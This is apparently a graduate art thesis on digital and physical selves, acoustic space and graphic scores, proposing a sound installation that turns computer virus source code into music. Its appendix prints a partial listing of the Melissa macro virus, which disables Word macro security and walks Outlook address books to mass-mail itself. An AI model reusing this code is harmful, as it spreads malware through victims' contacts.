Abstract
How do we construct a cognitive and tactile experience of the seamless and near-abstract digital environment with its analysis/construction/ transformation included in the process? This thesis is an exploration reflecting sensual system experiences while providing a tool to translate and materialize information.

By exploring this boundary as a state of “in-between-ness”: a bidirectional discourse of artistic mediums and digital information systems; as subjective and objective experiences, through formal elements of visual and aural arts, and physical properties of spatial design, this thesis will articulate what it means to work at the intersection of aural and visual art. (Feldman and Zimmerman 136)

Personal Statement
A childhood spent between the countryside of upstate New York and urban atmospheres of various metropolises in the United States and Europe propelled my creative exploration of the dichotomy between natural environments and urban landscapes, at the intersection of art and science. Academically, I began my career with a degree in digital media from the University of California, Santa Barbara, where I pursued theoretical and conceptual practices of media arts and technology. With a desire to continue learning, I moved to Berlin, Germany, where I studied German language and culture while pursuing several research opportunities in the process. Currently attending New York University’s Interactive Telecommunications Program (ITP), I continue to pursue digital media as systems art, in the forms of data sonification and composition.

My interest in interactive systems began with an exploration of the boundaries of digital and physical worlds with a project titled “Another Starry Night.” This project was a site-specific installation in the Mojave Desert. Here I built a physical constellation that was the exact mirror reflection of the constellation Cassiopeia. As there is no light pollution in desert, at dark the boundary between land and sky was blurred, and one could not easily distinguish between the sculpture and the actual sky. The concept here was inspired by a reading of Paul Virilio’s “Open Sky,” a book which left me feeling pessimistic about the direction of digital technology and effects on quality of life. As a reaction I wanted to challenge the negative impression Virilio left me with and conceived to use technology in a symbiotic relationship with nature. Utilizing solar powered
materials, the sculpture depended on nature to work, and conceptually empowered nature once again.


As the path towards my present place at ITP continued, I was invited to be a researcher in Marko Peljhan’s “Makrolab” at the Venice Biennale for the summer of 2003. This experience transformed my understanding of what it meant to experience technology. While living in this pseudo self-sufficient lab, a lab that controlled its own systems and existed to record the natural environment in which it existed, I became part of its network. My daily tasks and schedules followed what the lab and nature were able to provide for me. In reflection, this experience was the first artistic one that I had with technology as a living system.

I began pursuing art through the guise of visual artist becoming more and more interested in systems. I began experimenting with complex data sets to create abstract visualizations, often algorithmic in nature. In “Watching me, watching you”, I used a generative algorithm in conjunction with motion capture technology and allowed the computer to process data and create a visualization based on this data.

Post production I felt disconnected from the images this abstract matrix displayed. Where was my mark? Did it matter that software had completely generated it? How would someone connect to the work with no prior background knowledge? To answer these questions, academically I pursued the study of networks and created with Mouna Andraos the “4 parts clock.” Ticking to the time around the world this clock reflected environmental time within its various faces. The piece is composed of three sensors and one old alarm clock, all networked together to create a cohesive four part work. It is meant as an exploration of the nature of time and the dialectic that exists between physical
time and psychological time. What does it mean when we say that "time stops" or it feels like an hour flew by like a minute. Throughout our day, events unfold in the world on a precise systematic timeline (24 hours a day, 60 minutes in an hour etc.) but our real experience of these moments can be very different.

At this point I was still a visual artist, in a whirlwind of creating. A conceptual arts background trains you to be observant, mine further taught me to analyze. My time at ITP built upon that educational base with a process of distillation and production. I was still very interested in networks, in systems, in the information I felt was flying all around me. Progressing with my studies I became very interested narrative structures and the possibility to describe data at an abstract level. It was here that I became interested in sound art, and my experimentation took me to artistically to explore generative algorithms and data sonification.

If one could look between the lines of the works I have produced, you would find someone who began this program very much an individual, and through the result of several collaborations internalized the process of working with others. Internalizing this bidirectional process of communication from dancer to composer, from artist to engineer, opened my eyes to the ways that creator and user can participate. It left me with a need to experiment beyond the limiting one directional mode of communication my visual arts practice began with. I began creating music.

"Poetry of the City" is an exploration of various environmental spaces in New York City during the month of October 2005. The composition is produced from the analysis of New York University’s Bobst library check-out data, bird migration patterns, and set to a rule based system (as melody) of
leaves blowing in the wind. The titles spoken in this work reflect a percentage of those books whose check out data is not recorded by the library.

When questioned why use sound as a medium, I began a long process of introspection. It is also a process that lead me to explore the elements of emotion, abstraction, and formal elements of music and how science and art could formally work together. This thesis internally is as self-making as the systems I experiment with.

**Research Process: Overview**

We begin at the beginning. To understand what it means to work in a digital environment, let alone how to reflect a sensual system experience as a project output, this research process develops an ontology of digital environments inspired by Bergsonian movement and Deleuzian theories of time. Inspiration from such critical investigations derives from their analysis of elements of movement, duration, time, and space; foundations to the digital art space or the premise of this thesis. The goal through this research process is to evaluate digital environments in terms of their constructive elements and use these building blocks to discuss the artistic output and extrapolate on their potential.

**Progress 001**

*In the following I will give an overview how this thesis originated, which problems I encountered while developing the concepts, and how I solved the same. This exploration didn’t start with a clear concept in mind, but from personal interest, observation and necessity.*

The first goal was to develop an understanding of the cultural implications and relationship between users and technology. The process was to develop an understanding of the state of the Internet; this was extrapolated into research of the digital person. Finally the research was to understand the interaction environment. From this research I was able to develop a clear concept of how I would use visual and aural mediums to create an environmental system that illustrated my research.

**Digital Augmentation**

“For me, stasis, scale, and pattern have put the whole question of symmetry and asymmetry in abeyance. And I wonder if either of these concepts, or an amalgamation of both, can still operate for the many who are now less prone to synthesis as an artistic formula.” – Morton Feldman

(Feldman and Zimmermann 137)
What effects do digital augmentations of reality have on us as users and as human beings? By becoming overdeveloped in a digital communication realm we become underdeveloped in our natural ecology. This overdeveloped digital self I think is resulting in a radically altered physical world. Our environment teaches us through experiences to deal with situations and develops us into richer human beings. As Arnold Schoenberg says:

“The intellect is asked to make these impressions suitable for daily use, to dissect and to classify, to measure and examine, to dissolve the unusable whole into details that can be expressed at any time.” (Schoenberg 102)

If real life experience is emotionally about experiencing the positives and negatives, the digital life is a numb one. Numb in that it is a world based on structures of marketing or extreme personalization that it cushions life experiences by limiting emotional response.

As artists using technology we become the fulcrum in a balancing act of a unique experience. Beyond Walter Benjamin’s proposition: “that which withers in the age of mechanical reproduction is the aura of the work of art,” digital technology means that anything potentially can be reproduced as data transmitted via one’s and zero’s without loss of information (Benjamin 4). The loss can only occur based on an act of perception of the experience, not in the work of art itself.

**Internet of “Things”: Life at the Boundary**

*With proceeding development I began reflecting on my knowledge of network structures and the elements of these structures. This helped me make decisions on the growth of my thesis.*

An Internet of “Things” expands upon the present notion of a hyperlink¹ as networked links between documents. “Object hyper linking aims to extend the Internet to the real world by attaching tags with URLs to tangible objects or locations.” ¹ Presently this concept exists most closely in Radio Frequency Identification (RFID)² tags of consumer products. The information is stored in the tag of the product and when the tag is read, information about the product is revealed via a database and network infrastructure. It is important to note that an RFID tag is a passive object. It is the computer and RFID transceiver and connected to it that is able to do something with such information.

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Leah Wechsler “Garden Full of Flowers” 5
In the context of this thesis the specifics of present technology available to read RFID tags and transmit data is somewhat relative. Here the transmission of information, where the method of tagging becomes a process of transforming a physical object in actual space and time to simultaneously existing in virtual space and time is the opening of discussion.

An object that has the potential to transmit information about itself allows for its movement and duration through space and time to be described. But let’s take a step back here. Lots of things are connected to the Internet. It is not far-fetched to think that more things will become connected to the Internet, but what is interesting is this idea of how it will transform our notions of “cyberspace”. ³

Our notions of the Web⁴ are based presently on a series of protocols that we use to navigate the Internet. In this architecture our information as data packets follows these set rules for communication, the boundary being the electronic circuits of which such data travels. Theoretically by abiding by these abstract pathways we find the information we seek. It would be a misconception to say that this information comes for free.

Our digital selves and the data we access can be recorded, and our patterns of use analyzed and processed. Google yourself and what do you find? One of the more blatant examples of our digital and physical selves merging would be the personalized homepage of Amazon.com, or at a host of other websites where the junction of online transactions for physical commodities takes place. By collecting available information of a user through their login information, IP address, tracking their browsing via cookies, or just plain reading their email, affords conclusions to be drawn connecting digital information to physical being. Yet at present we have a thin veil of privacy, an illusion perhaps that there is a limit to how much of our physical selves exist in the virtual realm; a boundary controlled by the user.

In an Internet of Things, when the objects themselves are connected, the constructs of space become dynamic. This veil of privacy will further evaporate. Architecture of information will become dynamic, our pathways and boundaries of space altered, perhaps even radically.

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Private computers are left “open” to be browsed through by everyone. Personal information including private documents is public. “Privacy is stupid.” – the artists.

Critically, with the transmission of information becoming apart of a yet to be defined dynamic architecture, we must open our eyes to the language we are using to describe it. The Internet of today is an Internet of nouns. (Pang http://future.iftt.org/2005/09/an_i“The Internet of Things, for all rhetorical elegance, is an important and essential step to something more profound: not an Internet of Nouns, but an Internet of Verbs. If you believe that language tells us something about the future, this means that the critical, defining features of this new Web will revolve around interactions, events and experiences, not virtual places or even real things.” (Internet_of_.html)

The mêlée of social, ubiquitous and mobile computing⁵ potentially offers to change the way in which we occupy and experience a space. In these areas of research, all network related computing transforms itself from noun to verb. To understand the creation of a tool to mitigate through a digital experience, the onus is on the creator to understand the implications of the technology they are creating, this investigation awakens that awareness.

Digital Disconnection
(Spheres of Knowledge)

"Spheres are the spaces where people actually live. I would like to show that human beings have, till today, been misunderstood, because the space where they exist has always been taken for granted, without ever being made conscious and explicit. And this lieu or space I call a sphere in order to indicate that we are never in fact naked in totality, in a physical or biological environment of some kind, but that we are ourselves space-creating beings, and that we cannot exist otherwise than in these self- animated spaces." -Peter Sloterdijk⁶

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⁵ for “something + computing” = action = verb
⁶ Peter Sloterdijk is a German philosopher. Find out more about his life and work here: http://en.wikipedia.org/wiki/Peter_Sloterdijk#Spheres and from his website: http://www.petersloterdijk.net/
We all travel with a certain sphere of space around us. What bridges the connection between the abstract spheres is the reaction our body produces to the environment. Verbal communication, or the physical act of using our body as a tool to exert a force upon an object then results in an action or interaction.

These life processes where our physical body is the sole tool to transcend our interaction sphere is one of the past. In the present we supplement these processes of action with digital technology. Now I can dial a number on my mobile phone to call a friend, my location from where I am placing the call can be entirely in transition, as can his or hers.

(Digital and physical self divide)
Digital technology augments interaction by further abstracting interpersonal relationships. Email allows me to communicate via text eliminating any movement by my body. In this age of digital convenience, which runs rampant here in New York City, I can become agoraphobic and society encourages me to be this way with the digital commodity exchange system. I can order my groceries online, have them delivered, and work from home. Digitally I am extended as 1’s and 0’s, tags and codes through the technological devices I have access to.

One summer when traveling between several countries I found a conflict of interest between digital and physical self. I was flying between the USA, Austria, Germany and Italy in a ping-pong kind of manner… A few weeks in Los Angeles, then an extended trip to Italy, from there to New York City and then to Austria. As soon as my travel plans extended to other areas of the USA and Europe, I suddenly found myself without a working bank or credit card. Why? This digital being of transactions had never traveled to Germany and was known to live in LA. Straying from my recorded behavior created a conflict of my digital and physical selves based on my established patterns. I then had to go through and extremely long and arduous process of confirming to my bank beyond my standard personal information of permanent address and Social Security number to prove that my physical being was in fact this digital person.

This digital being of Leah Raine Wechsler, is the one who is made up of transactions, interactions with systems that record my behavior and assess based on the information. It is the being my bank identifies as me through my purchase history and the locations where I use my credit card. In their schema I now live in New York, often shop at X and Y stores, travel between these cities at these
times of year. Having a credit card alone is enough to provide data and enter the world of the
digital being.

The physical self for those in the technological adopter generation is under developed in human
interaction experiences. By having so many digital connections from my sphere I can become so
extended that I end up living in a world of social acquaintances. The idea that I have strong
connections or friendships has changed. We are able to make a choice at the level of our
 technological connection, and ask it now: Do I leave my cell phone on at night? How often do I
check my e-mail?

(Spheres of space and technology)
The networked object also permeates the intersection of spheres of space and technology.
The potential for the networked object is to use language of our digital self and place it in the
realm of the physical. With the “Tangible Weather Channel” information is translated into a multi-
sensory experience.

Yu-Cheng Hsu “Tangible Weather Channel” allows the user to enables you to input a remote
location and interprets its real-time weather information.7

With the “Tangible Weather Channel” the art object becomes the interface to the environment,
catering to the digital person who wishes to experience the weather without actually needing to go
outside.

Networked art objects often fail to succeed in the mass consumer market due to the interaction
relying on the users to learn the codes of the object (Igoe March 14). Is this digital learning an
example similar to the ”.com” social networking and social computing scene we had 5 years ago,
where only the early adopters using the technology and the socially obscure were using the

7 http://mixav.net/works/TangiWeaCh/
technology? Or is the research out of touch with the general public? The premise of using such a connected object is that each individual’s unique engagement with it allows him or her to be tele-present, where their physical distance appears to decrease through engaging with the **object** (Virilio).

With the networked “Lover’s Cups,” the act of drinking becomes bi-directional communication through a shared action of drinking. User’s are present to each other and through simple action accomplish the act of experiencing a social drink. The networked object functions to mitigate the tele-present intimate moment using light emitting diodes (LEDs) to indicate the other persons drinking.

For the digital and physical selves to merge, we must adopt from social computing the notion of action, and fundamental that people interact with each other based on mutual “things” in common. For the success of such digital tele-presence to work as consumer goods, they need to address the issue of memory.

Memory is “the ability to store and consequently recall information.” It is a process where data is stored and retrieved. As a social experience it is the ability to remember a time or place through the information of the experience. To add levels of memory to an object and experience of using that object, one must include other senses and the connection to time.

In an overwhelming world of data exchange, can we revolt against such proliferation and translate that exchange into a simpler, and evolved gift of enjoying the company of another, of sharing our time and space?

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If this gift of sharing time and space with another is truly what our world is all about, are we not doomed as digitally connected people to fail at living in the actual sense if we are so inexperienced at sharing time and space?

**Interaction space: Body and Environment**

Understanding of an interaction space requires an understanding of what that space is: metropolitan, urban, personal, etc (Townsend 1). These definitions provide a sense of scale. By defining a space in terms of scale it becomes possible to analyze the pace, variety, and interactivity of digital media technologies infiltrating that space. Struppek’s model provides a clear visual representation of the facets of the interaction space. The spherical shapes of each component of the interaction space clearly depict each element as unique to themselves and relatable to each other.

In the urban public spaces of New York City, digital media has transformed the billboard from a one directional form of communication assaulting our visual sense, into an interactive loop of information. In Times Square two interactive billboards, Disney’s “Everest in the City” and Nike’s “NikelID” (personalized Nike sneakers) campaign allowed users to interact with the advertisement and customize the space. To broaden Disney’s “Everest in the City” beyond a traditional billboard,

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“The public space is a field, which is created and becomes alive through various forms of interactions. Thus the interactive art with its life proximity, communicative issues and reflection of the power of the modern technologies is well suited to be linked with the urban public space.”
visitors to Times Square used their wireless phones to interact directly and in real time with the yeti by texting the word DISNEY to the short code “4YETI”, which made the yeti’s eyes flash at a specific time. For the Nike billboard “anyone with a cell phone—regardless of phone brand or service provider—could call 1-888-8-NIKE-ID and use simple prompts to change colors on the displayed shoe with his or her phone keypad. Each person was given 60 seconds to use the sign, and if it was already in use, he or she was placed in a virtual queue” to custom design the shoe on display. The Disney billboard was in Times Square Feb. 15, 16 2006 and the Nike billboard lasted from May 2 – 27, 2005.

Noticeably these billboards had a limited life span directly related to their size and the pace of Times Square. These projects functioned in terms of their being understood as objects, that a passerby would immediately identify them as an advertisement. Their instructions were simple, and the reward for their actions being the feeling of “5 minutes of fame.” The conceit of an interactive billboard is that it follows our model of interaction space, yet its failure is in the issues Struppek’s model fails to address: specifically the issue of time. The billboard has no elements of duration or of being, it is a one directional mode of communication, a message delivered by a screen. The interaction via SMS proves that a user can act upon the medium, but the technical constraints of such an object hinder the level of interaction. A screen cannot move beyond the level of action/ reaction with interactivity, as a screen is solely a surface on which a picture is projected for viewing. Real world issues of the billboards electronic robustness and scale increase the possibility for failure and decrease the longevity of the billboard as functioning to its creationary ideal.

(Control structure of the screen)

Marshall McLuhan introduces his perceptions of the visual space structure by stating: “Western civilization has been mesmerized by a picture of the universe as a limited container in which all things are arranged according to the vanishing point, in linear geometric order” (McLuhan 68). Billboards validate our cultures preoccupation with the visual sense and “our technology is arranged to heighten the effect. Such is the power of Euclidean or visual space that we can’t live with a circle unless we square it” (McLuhan 68). Parallels to this observation can be drawn with our notions today of visual and acoustic space. The screen of televisions, monitors, laptops are all

11 http://www.textually.org/textually/archives/2006/02/011572.htm Disney SMS Billboard
rectangular. However, while the display mechanism for visual constructions takes this rectangular shape, the tools to generate the visual space use the optical mechanics of physics. Our eyes perceive the world in a rounded manner; the lenses of my glasses have a curvature, etc.

If our perceptual organization as data and an understanding of this translation are what define our understanding of a space then what is a space without visuals? How does it function?

Marshall McLuhan describes the acoustic space:

“Acoustic space structure is the natural space of nature-in-the-raw inhabited by non-literate people. It is like the “mind’s ear” or acoustic imagination that dominates the thinking of pre-literate and post-literate humans alike (rock video has as much acoustic power as a Watusi mating dance). It is both discontinuous and nonhomogeneous. Its resonant and interpenetrating processes are simultaneously related with centers everywhere and boundaries nowhere” (McLuhan 71).

My interpretation of this statement: Sound has the ability to provide a narrative to the visuals we see, based on our cultural constructs and relationships to sound. “Comparatively few people are able to understand what music has to say from a purely musical point of view” (Schoenberg 90). The acoustic space structure when combined with the visual space structure offers the possibility for interaction between great varieties of media. For example, when working with visualizations and sonifications, it is an issue of stasis, perception, and its resonance not only existing at sound level but also penetrating a person at an experiential level.

(Experience – Pierre Schaeffer)

“Let us give audio-visual techniques what is owed to them: we expect from them unheard-of-sounds, new timbres, deafening plays- in a word, instrumental progress.”(Schaeffer 81).

The act of experiencing sound is an act of perception; we infer based sounds heard searching our brain for an association. Perception of the acoustic space and the translation of information into an acoustic experience “asks how our auditory systems could build a picture of the world around us through their sensitivity to sound, or how our environment tends to create and shape the sound around us” (Bregman 1).

What are you hearing right now? Presently I hear footsteps and conversations. The footsteps grow louder and softer, I hear people walking across different surfaces. The conversation is of a consistent volume. To translate this understanding of sound into a perception of experience, I then ask: How does what you hear reflect the representation of the space you are in? The footsteps moving in this room allow me to deduce its boundaries, the conversations spatially clue me into where people are sitting and further elaborate the dimensions of the room. “In using the word
representations, we are implying a two-part system: one part forms the representations and another uses them to do such things as calculate appropriate plans and actions” (Bregman 3). Questioning perception of the acoustic asks a listener to not only define the pitch or loudness of a sound to define what you are hearing, how using our sense of hearing can form a representation of reality.

“It is listening itself that becomes the origin of the phenomenon to be satisfied…” – Pierre Schaeffer (Schaeffer 78)

Meaning in music is an example of how our subjective perception of sound can alter the experience of it. Leonard Meyer contends there are two differing opinions of meaning in music: the intellectual meaning, generated from the perception of relationships within the musical work itself; and the “referentialists”, those who generate meaning from “the extramusical concepts, actions, emotional states, and character” (Meyer 1). These differences provide an aesthetic context of understanding the history of music from an artistic perspective. Further in Meyer’s analysis of emotion in music one gains a sense of what concepts of aural perception are emphasized or issues in relation to the technology being used to create the music providing an inlet to interpreting artists who work at the boundary of visual art and composition, such as Christian Marclay. ¹⁴

In working to create an installation combining the visual and aural spheres, Pierre Schaeffer’s notions of experiencing sound via a technology and the subversion of the relationship of sound as source to signal, allowing sounds to become the objects of experience are important. The act of the acousmatic, hearing without knowing what made the sound; “is really no longer a question of knowing how a subjective listening interprets or deforms “reality”, of studying reactions to stimuli. It is the listening itself that becomes the phenomenon to be studied” (Schaeffer 77).

¹⁴ http://www.mcachicago.org/cm_media/run-index.htm Christian Marclay’s website
Janet Cardiff’s “Whispering Room” exemplifies the usage of acoustic space structure and manipulation of perception of sound. A person’s movement through the space allows them to connect to the room in time and space. Their perception of the narrative is completely dependent on their movement. In listening to a sound through a speaker on a stand, the object visually represents a microphone setup of twentieth century radio shows, the source of the sound is hidden, but the object to deliver it is not. The connection between the object and the narratives ask a visitor to analyze the installation based on their perceptions.

Success of the interaction space and the properties of it when using visual and aural media is that it allows the potential experience of these elements (as objects) to exist in a time and space of the visitor. By manipulating the actions of the user installation or experience of these spaces open up lines the bidirectional communication between visitor and installation.

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Carsten Nicolai “Syn chron” Particle-like images (on six white-laser projectors) synchronize and change with the composition of abstract electronic sounds that frequently use Nicolai’s original sign-waves and pulse sounds.16

Carsten Nicolai’s installation is an example of an audio-visual system where the crystalline shape of the installation functions as defining the environment. Dimensions of light, sound and architecture are connected to time, sound and frequency.17 The shape of the installation and a visitor’s physical presence in relation to it influences the experience and perception of sound.

Progress 002

In this phase I began to develop my understanding of music and dissect its appropriateness for my project output of this thesis.

At this point I have come to view my research as the dissection of environments. After exploring the abstract environment of the human being I wanted to then develop an understanding of music creation. I began appropriating the physical and digital selves to represent the division and synthesis of visual and aural art. My goal in furthering my musical knowledge was that I would comprehend how to construct an environment with discrete elements, visual and aural in nature, that also functioned together to create a synthesized work.

Systems of Music Notation


17 ibid.
"The fascination of a composer’s notation is a fascination with human personality.” -- Aaron Copeland (Cage, Notations)

(Music notation)
The power of a music composition is in its ability to communicate. Much like a painting or sculpture can illustrate the marks of an artist, so can a composition; but where a drawing cannot tell its story, composition offers narrative. Composition is a bidirectional system of articulating ideas. The language of this system is music notation. “Its structure, [as score] which is the division of the whole into parts; method, which is the note-to-note continuity; and form, which is the expressive content, are all determined” (Cage, Composition, 177).

Regardless of the notational style, the score as communication device follows a syntax of notes to create a cohesive form. Meyer contends that “unlike literature, or the plastic arts, where the symbols generally speaking cannot be understood apart from the designative symbols they employ, most musical experience is meaningful without any reference to the extramusical world” (Meyer 307) (264). A work of music maintains its accessibility to an audience much like a piece of software does, a listener does not need to understand the structure to appreciate the composition nor does a user of a Java application need to understand the programming to use the software.

Graphic notation is a further abstraction on this coded language of music notation where “non-traditional” symbols are used to convey musical concepts. In context a musical composition, like a computer program, exists as a reified concept until it is performed. When an artist breaks further and further away from traditional music notation, the room for improvisation increases. Simultaneously this also abstracts the meaning, awareness, and understanding of a composer’s ideas. Comprehending the formal elements of an abstract work requires repeated listening to the variety of performance, and even then one might not be able to deduce them.

What does it mean to use graphic notation? The concept of notation was developed so that a work could communicate to the performer and be played without the need of the composer. Increasing the level of abstraction and complexity to a composition blurs the lines of communication between composer and performer; issues of “playability” and abstraction begin to interfere. The question becomes one of emphasis: is the emphasis in a composition on precisely performing a score, or does the score function as an abstract set of rules, allowing for freedom on the performers end.

Morton Feldman describes his graph music of the 1960s:

“I had never thought of the graph as an art of improvisation, but more as a totally abstract sonic adventure. This realization was important because I now understood that if the performers sounded bad it was less because of their lapses of taste than because I was still involved with passages and continuity that allowed their presence to be felt” (Toop 92).

Feldman frees a musician to make decisions of a piece, but at the expense of individuality. By utilizing a graphic structure Feldman liberates the notes, not necessarily the performer. “Durations I” (below) is an example of this, where the musicians are free to choose the duration of the notes, are given an abstract tempo, but the notes to be played are predetermined by the composer.¹⁹

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“Durations I” Morton Feldman. Overall chords of 10 randomly chosen bars. (Sani 1)

Historically the graphic score is a direct intersection of visual and aural arts that stems from “the emergence of electronic and tape music in the 1950s called for new notational techniques. How to score factory noises, or the sweeps and squiggles of sine tones?” (Cox 168). Below is an example of graphic notation with Karlheinz Stockhausen’s “Kontakte für elektronische Klänge, Klavier und Schlagzeug” (or “Contact for electronic sounds, piano, and percussion” in English).

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¹⁹ Leah Wechsler “Garden Full of Honey” 18
Karlheinz Stockhausen “Kontakte für elektronische Klänge, Klavier und Schlagzeug” (1960)  
(Cage, Notations)

Loosely analyzing this visual excerpt hints at the narrative of this composition. It appears that there is a caesura at the beginning (indicating a rest). There are notation symbols for dynamics of the sound at specific time intervals, Roman numerals for scale, and squiggles to represent the sonic mess of sound. Structurally one could interpret the measure lengths. The freedom for improvisation is illustrated in the latitude given to the performers.

“To change the noun “music” into the verb “music.”” – Tahru Takemitsu (Toop 178)

Today many musicians do not create a score. This change reflects the influence of technology in relationship to methods of creation and listening. Paul Griffiths, a columnist for “The Nation,” in reviewing Richard Taruskin’s “The Oxford History of Western Music” presents a melancholic view of Western “classical” music. “As Taruskin recognizes, it is notation that makes the history of Western music the story not only of what was but what is” (Griffiths 36). As far as performing music of dead white German men goes, perhaps this is true.

By creating music today without a score the definition of music is transforming from noun to verb, where the avant garde are experimenting with interdisciplinary means of creation. The levels of abstraction for improvisation increase, where one might begin to question the boundary today of improvisation to “free improvisation.” At the compositional level, technology has enabled a means
of creating works of greater complexity, where notation no longer has a use. Computer music exemplifies the maintaining of control structures for processing information at the forefront of interdisciplinary practice.

**Progress 003**

*The process of creating an environment to translate, analyze, distill and unite the digital and physical information space.*

I propose ‘Garden full of Energy’, a reactive sound installation that processes the sensorial information of the installation space into visual and aural presentations. The metaphor of a garden is based on nature as a system of interconnected things where the growth potential of the garden is limited by the conditions of living. This garden full of energy is more than a garden of digital biology, a technology of artificial life, but a sound installation to converge the digital and physical facets of our being, inspired by what I feel is cause of splits in them.

**As installation**

The installation itself is a system of elements as opposed to a project of individual objects. The system is an environment created from the garden elements, at the sensorial level consisting of microphones recording sounds in the space and speakers that output the processed sound; screens depict visualizations based on this incoming sound data. These elements come together as an installation through their placement in large grass beds.
The vocal input of the visitors is combined with the sonified viral score and used to generate abstract visual images based on the amplitude sound. This information will then be translated into abstract images and outputted in the reflecting pools: embedded screens in boxed beds of grass. Visitors to the space can hear their contributions, on delay, in the installation.

Beyond the data set, the composition of the visualizations will use a minimal number of elements: color and shape. The shapes will be rectangular and the visuals will be made from grid shapes moving top to bottom, the composition will move from left to right. The left to right motion is appropriated from the methods of describing waves on an oscilloscope. The audio waves as rectangular shapes are based on non-interlaced RS170 NTSC standard for black and white television, peaks in the sonifications amplitude affect the luminescence of the rectangular shape depicted. The level of abstraction with the images will increase as time goes on in the space if the installation is not refreshed.

What is heard through the speakers is the translated information from the installation space. Sound is recorded through microphones within the space, recording the sounds of the visitors and environment the installation lives in. The sound is processed through a score, which is a rule-based system appropriating from my interpretation of graphical notation systems. Since this is a dynamic system the graphic images of the sound also illustrate the present state of the system. The finalized output sound is multi-channel, and will decay in parallel to the visuals, however, the sounds increasing abstraction will be outputted as increasing distortion.

For these objects, microphones, sounds, etc. to come together the metaphor of the garden, the composition the objects will be placed in grass boxes, which function as garden beds. The grass beds heighten the experience of this system, for they function artistically as spatial and compositional “ground” to the installation. The grass as an element adds a scent to the room, which my artificial creations cannot. This idea of grass boxes stemmed from my thoughts that perhaps a digital art system could function as environment, the background noises of life going on around us every day. The garden boxes potentially offer a place to sit, stop, and smell the roses, where my project becomes a backdrop to actual experience. If this was an actuality for the installation then the visitor might find a comforting space where their fractured selves could co-exist.
(The Engine)

(Please see the original source codes of the viruses, their resulting scores, and attached audio CD for the results).

This garden has a few bugs. Computer viruses are the primary data element to the sonification. The virus and use of the virus represents the connection to digital data users provide of themselves on a regular basis through unsecure network interfaces. The users are allowed to view the viral score when their sonic contributions cross a defined threshold.

The language this environment operates in the digital language of binary code and the physical environment incorporates interpreting visitors contributions and activity with the interaction space. Appropriating from Karl Heinz Jeron’s “Searching for Lost Time”, computer viruses are translated into binary code and then further abstracted and turned into a musical score incorporating the voice of visitors.

The development of the engine as a system to encrypt the source code of the computer viruses was originally was conceived to be a character substitution system to translate the virus into morse code. The morse code of the virus would act as the “musical score” and be sonified using natural sounds. Conceptually I was interested at the abstract potential for the virus to be decoded if the language of the system was understood.

At this point I decided to make another engine, one where beyond morse code I would begin generating a score more in tune to the patterns and language of music I had been researching. It was here that I finalized my decision to work with binary numbers. In this engine, a Java program I created substituted the characters of the virus source code and then creates 3 or 4 bit patterns. These patterns are then sonified using a mix of natural sounds and computer generated sounds from custom made synth notes. In the case of the “I love you” virus, the sounds are a mix of recordings of Aurora Borealis, streams in my hometown backyard, and my artificial sound creations.

(User interest/ Connection to data)

Obvious issues to this project are maintaining user interest in the system and the connection between the visitor to the data being represented. The issue of maintaining user interest in the system is really a question of interactivity. To bring this system into the metaphor of the garden,
the sound and visualization of this sound operates on a life cycle. The playing of sound and generation of visuals requires user participation to activate the process. If there are no visitors the sound and visuals begin to decay, the visual abstracting to black, and the sound reducing to noise. All I ask from visitors is their presence; to contribute noise to the space, if visitors fail to make noise then the garden cannot grow. To connect the visitors to composition, I am imposing a delay between sound collected to sound heard; so there will be a correlation of action to response of the system, but not an immediate response. When the visitors noise contribution crosses a defined threshold, they are then allowed to view the score of the virus being depicted. Thus the sound coming from the room will be based on speaker and microphone placement so that the connection between the sound made by the visitor and the output by the garden is possible for a visitor to make.

**Examples of the various states of the visual output:**

![Visual Output Examples]

**Example sound visualization with spatial activation.**
Entering the decay stage.

The virus peeking through.
Conclusion

My thesis is an exploration reflecting sensual system experiences while providing a tool to translate and materialize information. I have long been inspired by conceptual theories of duration, time and space and their relationship and intersection in art, science, and technology. By exploring environmental systems (most commonly within the digital interaction space) I became interested in contextualizing the cultural relationships existing between sensory perception and technology. Artistically, I create projects that interpret the environment and critically challenge and translate accepted perceptions of visual and aural arts, technology, and nature.

In the time that I have been at ITP my relationship to technology and my resulting art has changed. I used to think in nouns, of objects and things and correlations between them. Now I work in a world of Verbs of action of physical computing, mobile computing, dynamic and reactive systems. Thoughts of the facets of data transmission caused me to think about the relationship between our digital and physical beings and the language I was using to describe them.

On an aural level I have additionally been intrigued by the way the sound artists and musicians communicate to each other. Music often touches me through the complex nature simple building blocks can create. Further music inspires me in its collaborative nature, a place my work as an artist has brought me too since entering this program. Life experiences and thoughts of interaction spaces begot a decision to merge my interests in physical spaces and screen based media to a physical realm where both could exist without the screen being the dominating element. The goal was to make the screen become a ubiquitous part of the landscape, a place one rests their eyes as one does when searching in the distance for something else beyond what lies in front of them.

This thesis was largely a direct result of my inspirations from other artists, musicians, and conversations with critical theorists. Appropriating from Carsten Nicolai, the translation and transmission of information was strongly considered. The decision to use a metaphor of a garden was largely influenced by my personal reactions to his sound installations as digital environments. His work inspired and reminded me that interactive works can be more than direct relationships of cause and effect. Intellectually I was largely stimulated by my awareness to the data I create and observations of the interactive space. Though I tend to approach technology with a somewhat pessimistic view, I enjoy presenting it as bittersweet. Perhaps this is the reason that my sonified viruses sound so pleasant as one commenter questioned me. Several conversations with
Alexander Galloway and Clay Shirky developed and motivated my interest in narrative possibilities of complex data sets and control structures of technology.

I would like to end this journey on a note of gratitude. As an intellectual process and as a human emotional experience, it was the crooked path well worth taking. To my program, professors, and fellow classmates: every day was an adventure in learning. To Luke DuBois: thank you for the inspiration and support; and to you, Reader, thank you for reading this document.
Works Cited


**Works Consulted**


Sample of Melissa Virus Score:
Melissa Virus Source Code:

Private Sub AutoOpen()

On Error Resume Next

p$ = "clone"

If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then

CommandBars("Macro").Controls("Security...").Enabled = False

System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1 &

Else

p$ = "clone"

CommandBars("Tools").Controls("Macro").Enabled = False


End If

Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice

Set UngaDasOutlook = CreateObject("Outlook.Application")

Set DasMapiName = UngaDasOutlook.GetNamespace("MAPI")

If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "... by Kwyjib" Then

If UngaDasOutlook = "Outlook" Then

DasMapiName.Logon "profile", "password"

For y = 1 To DasMapiName.AddressLists.Count

Set AddyBook = DasMapiName.AddressLists(y)

x = 1

Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)

For oo = 1 To AddyBook.AddressEntries.Count

